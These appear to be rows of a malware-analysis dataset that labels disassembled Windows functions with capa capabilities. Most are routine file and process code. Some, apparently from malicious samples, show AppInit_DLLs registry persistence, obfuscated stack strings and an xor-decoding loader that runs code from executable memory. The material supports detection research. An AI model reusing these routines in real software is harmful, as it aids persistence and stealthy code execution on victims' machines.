joyce8/EMBER2024-capa huggingface dataset:
Function at 0x464f59
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmc
fcmovb st(0), st(6)
inc ebp
neg dl
mov byte [ebp - 9], 0xbf
call fcn.00464bcb
push eax
push esi
push dword [ebp + 8]
call fcn.00464b80
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00464bcb
push eax
push esi
push dword [ebp + 8]
call fcn.00464b80
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
inc ebp
fisttp dword [edi - 0x3a]
inc ebp
fsub qword [edi - 0x3a]
inc ebp
fld qword [edx - 0x3a]
inc ebp
fimul word [ecx - 0x3a]
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x465056

Function at 0x465062
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test eax, 0x40000000
jne 0x45cd4e
call fcn.0045c29e
push 1
push 1
push dword [eax + 0xc]
push dword [eax + 8]
push dword [eax + 4]
push dword [esi + 0x20]
call fcn.0045e998
mov ecx, esi
call fcn.0045be49
pop esi
ret 0xc
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.00464bbb
dec dword [edi + edi*4]
pop edx
jge 0x45cd2d
call dword [eax - 0x18]
sbb al, 0xfb
invalid
Function at 0x46525f
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x46526f
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x46526a
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x465254
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x46525c
cmp edx, ebx
jne 0x4653aa
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x46522b
add eax, dword [eax + 4]
jmp 0x465218
mov dword [ebp + 0xc], ebx
jmp 0x46527a
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x465292
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x4652b0
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x46530e
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x4652f5
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x4652fe
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x465308
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x4652ea
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x465274
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x46535b
dec eax
je 0x465352
sub eax, 3
je 0x465349
mov dword [ebp - 4], 0x40
jmp 0x465378
mov dword [ebp - 4], 4
jmp 0x46535e
mov dword [ebp - 4], 0x20
jmp 0x46535e
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x4653aa
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x46532a
mov eax, dword [ebp - 0x88]
Function at 0x465390
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00464bbb
jo 0x465405
dec edi
hlt
clc
and byte [ebp - 0x354], 0
and byte [ebp - 0x353], 0
mov byte [ebp - 0x352], 0xda
and byte [ebp - 0x351], 0
mov byte [ebp - 0x350], 0x62
mov byte [ebp - 0x34f], 0x40
mov byte [ebp - 0x34e], 0x51
mov byte [ebp - 0x34d], 0x75
mov byte [ebp - 0x34c], 0x57
mov byte [ebp - 0x34b], 0x4a
jne 0x4653cd
test dword [esp + edi*8 - 0x39a80001], esi
test dword [ebp + 0x4afffffc], esi
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.00464bcb
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00464b80
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
invalid
invalid
int 0xfc
invalid
Function at 0x4a118d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004a0e3e

Function at 0x4a1198
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004a0fc8
Function at 0x4013a0
Capabilities:
Persist via appinit_dlls registry key
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x1c]
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4013de
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040281c
mov esp, ebp
pop ebp
ret
mov eax, 0x44bd30
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4013e6
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
sub eax, edx
mov edx, dword [ebp - 0x1c]
sar eax, 1
lea ecx, [eax + eax]
push ecx
push 0x44bd30
push 1
push 0
push str.AppInit_DLLs
push edx
call esi
test eax, eax
jne 0x4013cd
mov ecx, dword [ebp - 0x1c]
push 4
lea eax, [ebp - 0x20]
push eax
push 4
push 0
push str.LoadAppInit_DLLs
push ecx
mov dword [ebp - 0x20], 1
call esi
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x40ab24]
mov edx, dword [0x40ab28]
mov eax, dword [str.XPc_r]
mov dword [ebp - 0x10], ecx
mov ecx, dword [0x40ab30]
mov dword [ebp - 0xc], edx
mov edx, dword [0x40ab34]
mov dword [ebp - 0x14], eax
mov eax, dword [0x40ab2c]
mov dword [ebp - 0x28], ecx
mov ecx, dword [0x40ab38]
mov dword [ebp - 0x24], edx
xor edx, edx
or ecx, dword [0x40ab3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], edx
mov eax, 0x40ab38
je 0x4014a0
lea esp, [esp]
mov ecx, dword [eax + 0xc]
add eax, 8
add edx, 8
or ecx, dword [eax]
jne 0x401490
mov dword [ebp - 0x18], edx
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x14]
push ecx
push 0x40ab38
push 0x40ab38
call fcn.00401200
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push 0x44bd30
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4014f5
mov eax, dword [ebp - 0x18]
push 0
lea edx, [ebp - 0x18]
push edx
push eax
push 0x40ab38
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
pop esi
call fcn.0040281c
mov esp, ebp
pop ebp
ret
Function at 0x1001bfe
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x130
cmp dword [0x10089e0], 0x1001aba
mov eax, dword [0x10060b0]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
je 0x1001cfa
push esi
push edi
call fcn.010018f8
test eax, eax
je 0x1001c40
push esi
push edi
call fcn.01001ad2
jmp 0x1001cfa
cmp byte [edi], 0x5e
push ebx
mov ebx, dword [0x1007774]
mov byte [ebp - 0x127], 0
jne 0x1001c56
or ebx, 8
lea ecx, [esi - 1]
push 0xfffffffffffffffe
xor eax, eax
test ecx, ecx
pop edx
jle 0x1001c70
cmp byte [edi + eax], 0x5c
jne 0x1001c6b
mov edx, eax
inc eax
inc eax
cmp eax, ecx
jl 0x1001c62
test esi, esi
jle 0x1001c87
cmp byte [esi + edi - 1], 0x24
jne 0x1001c87
lea eax, [esi - 2]
cmp edx, eax
je 0x1001c87
mov esi, ecx
or ebx, 0x10
push esi
lea eax, [ebp - 0x124]
push edi
push eax
call dword [sym.imp.msvcrt.dll_strncpy]
add esp, 0xc
test bl, 0x10
je 0x1001ca7
mov byte [ebp + esi - 0x124], 0xd
inc esi
lea eax, [ebp - 0x124]
push eax
mov byte [ebp + esi - 0x124], 0
call fcn.0100158f
test eax, eax
mov dword [ebp - 0x130], eax
je 0x1001cf9
inc dword [0x10089b8]
test bl, 8
jne 0x1001ce0
lea ecx, [ebp - 0x24]
push ecx
push eax
jmp section..htext
lea ecx, [ebp - 0x24]
push ecx
push eax
call fcn.010019f7
cmp byte [eax], 0
jne 0x1001d08
mov dword [0x10089e0], 0x1001aba
pop ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
call fcn.01004a3d
leave
ret 8
xor ebx, ebx
xor eax, eax
mov ecx, ebx
and ecx, 7
inc eax
shl eax, cl
mov ecx, ebx
sar ecx, 3
movsx ecx, byte [ebp + ecx - 0x24]
test ecx, eax
je 0x1001dd9
push 8
call fcn.01002c1a
mov esi, eax
mov eax, dword [ebp - 0x130]
mov dword [esi + 4], eax
movzx eax, byte [ebx + 0x10088b8]
xor ecx, ecx
cmp eax, ecx
jne 0x1001dcc
mov eax, dword [0x1006020]
inc dword [0x1006020]
mov edx, eax
cmp edx, 0x100
mov dword [ebp - 0x12c], eax
jge 0x1001deb
cmp dword [0x1006060], ecx
mov dword [eax*4 + 0x10060c8], ecx
mov byte [ebx + 0x10088b8], al
jne 0x1001dc6
push ebx
call dword [sym.imp.msvcrt.dll_isalpha]
test eax, eax
pop ecx
je 0x1001dc6
lea eax, [ebp - 0x128]
push eax
mov byte [ebp - 0x128], bl
call dword [sym.imp.msvcrt.dll__strlwr]
cmp byte [eax], bl
pop ecx
jne 0x1001db3
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.msvcrt.dll__strupr]
cmp byte [eax], bl
pop ecx
je 0x1001dc6
movzx eax, byte [ebp - 0x128]
mov cl, byte [ebp - 0x12c]
mov byte [eax + 0x10088b8], cl
mov eax, dword [ebp - 0x12c]
lea eax, [eax*4 + 0x10060c8]
mov ecx, dword [eax]
mov dword [esi], ecx
mov dword [eax], esi
inc ebx
cmp ebx, 0x100
jl 0x1001d0a
jmp 0x1001cf9
mov eax, dword [sym.imp.msvcrt.dll__iob]
push ecx
add eax, 0x40
push 0xa
push eax
call fcn.010029e1
add esp, 0xc
push 2
call dword [sym.imp.msvcrt.dll_exit]
int3
Function at 0x40309d
Capabilities:
Hide graphical window

Disassembly:
mov eax, 0x41927c
call fcn.00413954
sub esp, 0xc
push esi
mov esi, ecx
push edi
push dword [ebp + 8]
lea edi, [esi + 0x68]
lea ecx, [edi + 0xc]
call fcn.00401d7a
push 0
push 0x1f4
mov ecx, edi
call fcn.0040620b
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
call fcn.00413210
push 0x45
lea ecx, [ebp - 0x18]
pop edx
call fcn.0040602f
mov edx, dword [eax]
mov ecx, dword [esi + 0x6c]
and dword [ebp - 4], 0
call fcn.00406049
push dword [ebp - 0x18]
call fcn.00403a9c
pop ecx
push 1
push dword [esi + 0x6c]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0xc]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
leave
ret 8

Function at 0x40489c
Capabilities:
Set file attributes

Disassembly:
push edx
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
test eax, eax
setne al
ret

Function at 0x4048b7
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x423148], 0
push esi
mov esi, edx
jne 0x4048ef
mov edx, ecx
push ebx
lea ecx, [ebp - 0xc]
call fcn.004048ff
mov eax, dword [eax]
mov edx, esi
mov ecx, eax
call fcn.0040489c
mov bl, al
push dword [ebp - 0xc]
call fcn.00403a9c
pop ecx
mov al, bl
pop ebx
jmp 0x4048fc
push esi
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
test eax, eax
setne al
pop esi
leave
ret

Function at 0x40494e
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x423148], 0
jne 0x40497f
mov edx, ecx
push ebx
lea ecx, [ebp - 0xc]
call fcn.004048ff
mov ecx, dword [eax]
call fcn.004048aa
mov bl, al
push dword [ebp - 0xc]
call fcn.00403a9c
pop ecx
mov al, bl
pop ebx
leave
ret
push ecx
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
test eax, eax
setne al
leave
ret

Function at 0x40499c
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x423148], 0
jne 0x4049cd
mov edx, ecx
push ebx
lea ecx, [ebp - 0xc]
call fcn.004048ff
mov ecx, dword [eax]
call fcn.0040498d
mov bl, al
push dword [ebp - 0xc]
call fcn.00403a9c
pop ecx
mov al, bl
pop ebx
leave
ret
push 0
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
setne al
leave
ret

Function at 0x404bfa
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x423148], 0
push esi
mov esi, ecx
jne 0x404c2e
push ebx
mov edx, esi
lea ecx, [ebp - 0xc]
call fcn.004048ff
mov ecx, dword [eax]
call fcn.00404bdc
mov bl, al
push dword [ebp - 0xc]
call fcn.00403a9c
pop ecx
mov al, bl
pop ebx
jmp 0x404c47
xor edx, edx
mov ecx, esi
call fcn.004048b7
test al, al
je 0x404c47
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
test eax, eax
setne al
pop esi
leave
ret

Function at 0x4050ab
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov eax, 0x105
push edi
mov edi, edx
cmp dword [esi + 8], eax
mov ebx, ecx
jg 0x4050c8
push eax
mov ecx, esi
call fcn.0040243e
push dword [esi]
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
mov ecx, esi
mov edi, eax
call fcn.00404296
mov eax, edi
pop edi
pop esi
pop ebx
ret 4
Function at 0x405a83
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push esi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405aa9
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
je 0x405aa9
xor al, al
jmp 0x405ac9
push 1
push 0
push 0
push dword [ebp - 4]
call fcn.00414490
mov ecx, eax
xor eax, eax
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4

Function at 0x40cdf0
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
mov eax, 0x41a510
call fcn.00413954
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], 8
mov dword [esi], 0x41b694
mov dword [ebp - 4], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], 1
mov dword [esi + 0x14], 0x41b748
push 4
mov ebx, 0x41b684
pop eax
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], eax
mov dword [esi + 0x28], ebx
lea ecx, [esi + 0x3c]
push eax
mov byte [ebp - 4], 2
call fcn.004032a8
mov dword [esi + 0x3c], 0x41b7f8
push 4
mov dword [esi + 0x54], edi
pop eax
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], eax
mov dword [esi + 0x50], ebx
lea edi, [esi + 0x64]
push eax
mov ecx, edi
mov byte [ebp - 4], al
call fcn.004032a8
mov dword [edi], 0x41b800
lea edi, [esi + 0x78]
mov byte [ebp - 4], 5
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b99b
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 6
call fcn.0040c3f8
lea edi, [esi + 0xa0]
mov byte [ebp - 4], 7
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b99b
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 8
call fcn.0040c3f8
lea edi, [esi + 0xc8]
mov byte [ebp - 4], 9
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b99b
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 0xa
call fcn.0040c3f8
mov byte [ebp - 4], 0xb
lea edi, [esi + 0xf0]
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b99b
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 0xc
call fcn.0040c3f8
lea ecx, [esi + 0x118]
mov byte [ebp - 4], 0xd
call fcn.0040c3f8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x413220
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call fcn.004148be
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x413248
xor eax, eax
ret 4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
jne 0x413257
mov eax, 1
ret 4
Function at 0x100201c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x100201d1
pop dword [ebp - 0x20]
mov eax, 0x100201d1
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x5e438f0f
add dword [ebp - 0x30], 0xf00eb63c
mov dword [ebp - 0x2c], 0x7ae907d7
sub dword [ebp - 0x2c], 0x48b5bb92
mov dword [ebp - 0x28], 0x1a1e5cdb
add dword [ebp - 0x28], 0x322de753
mov dword [ebp - 0x24], 0x632dec31
sub dword [ebp - 0x24], 0x632dec31
lea eax, [ebp - 0x30]
push eax
mov eax, 0x1156aae9
sub eax, 0x15699b9
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xe97f0be8
add dword [ebp - 0x30], 0x8af35d6e
mov dword [ebp - 0x2c], 0x19dc57b8
add dword [ebp - 0x2c], 0x279009bd
mov dword [ebp - 0x28], 0xac584937
add dword [ebp - 0x28], 0xb7172335
mov dword [ebp - 0x24], 0x66fb730
add dword [ebp - 0x24], 0xf99048d0
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x5a8ece49
sub eax, 0x4a8ebd35
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x41f24
push 0
call eax
mov ecx, 0x55c5
xor edi, edi
add edi, eax
mov ebx, 0x69e8d1c1
sub ebx, 0x59e5d9c1
add ebx, dword [ebp - 0x20]
mov edx, 0x28b96250
xor dword [ebp - 0x10], 0x51c4f5e4
mov esi, dword [ebx]
sub dword [ebp - 4], 0x266539fd
sub esi, edx
mov dword [ebp - 0x14], 0x2e815b86
mov dword [edi], esi
xor dword [ebp - 0x10], edi
add edi, 0xe388d80f
add edi, 0x1c7727f5
add ebx, 0x95fcfbf9
sub ebx, 0x95fcfbf5
loop 0x100202e4
add eax, 0xe3dcb4ab
sub eax, 0xe3db6ac4
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xc868f95a
sub ecx, 0xb868f95a
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x100269ee
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100060ec]
jne 0x10027054
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x1002bda8], eax
mov dword [0x1002bda4], ecx
mov dword [0x1002bda0], edx
mov dword [0x1002bd9c], ebx
mov dword [0x1002bd98], esi
mov dword [0x1002bd94], edi
mov word [0x1002bdc0], ss
mov word [0x1002bdb4], cs
mov word [0x1002bd90], ds
mov word [0x1002bd8c], es
mov word [0x1002bd88], fs
mov word [0x1002bd84], gs
pushfd
pop dword [0x1002bdb8]
mov eax, dword [ebp]
mov dword [0x1002bdac], eax
mov eax, dword [ebp + 4]
mov dword [0x1002bdb0], eax
lea eax, [ebp + 8]
mov dword [0x1002bdbc], eax
mov eax, dword [ebp - 0x320]
mov dword [0x1002bcf8], 0x10001
mov eax, dword [0x1002bdb0]
mov dword [0x1002bcac], eax
mov dword [0x1002bca0], 0xc0000409
mov dword [0x1002bca4], 1
mov eax, dword [0x100060ec]
mov dword [ebp - 0x328], eax
mov eax, dword [0x1002baac]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x1002bcf0], eax
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x100060fc
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x1002bcf0], 0
jne 0x10027140
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x439004]
jne 0x40100a
repz ret
jmp fcn.00401587

Function at 0x40444b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x439004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00401e3b
and dword [ebp - 0x14], 0
cmp dword [0x43b5a8], 0
mov dword [ebp - 0x18], eax
jne 0x4044fe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4045a6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4045a6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x43b5a8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x43b5ac], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x43b5b0], eax
call edi
push eax
call esi
mov dword [0x43b5b8], eax
test eax, eax
je 0x4044fe
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x43b5b4], eax
mov eax, dword [0x43b5b4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x404557
cmp dword [0x43b5b8], ecx
je 0x404557
push eax
call esi
push dword [0x43b5b8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x404557
test ebx, ebx
je 0x404557
call edi
test eax, eax
je 0x40454e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40454e
test byte [ebp - 8], 1
jne 0x404557
or dword [ebp + 0x10], 0x200000
jmp 0x40458a
mov eax, dword [0x43b5ac]
cmp eax, dword [ebp - 0x18]
je 0x40458a
push eax
call esi
test eax, eax
je 0x40458a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40458a
mov eax, dword [0x43b5b0]
cmp eax, dword [ebp - 0x18]
je 0x40458a
push eax
call esi
test eax, eax
je 0x40458a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43b5a8]
call esi
test eax, eax
je 0x4045a6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4045a8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret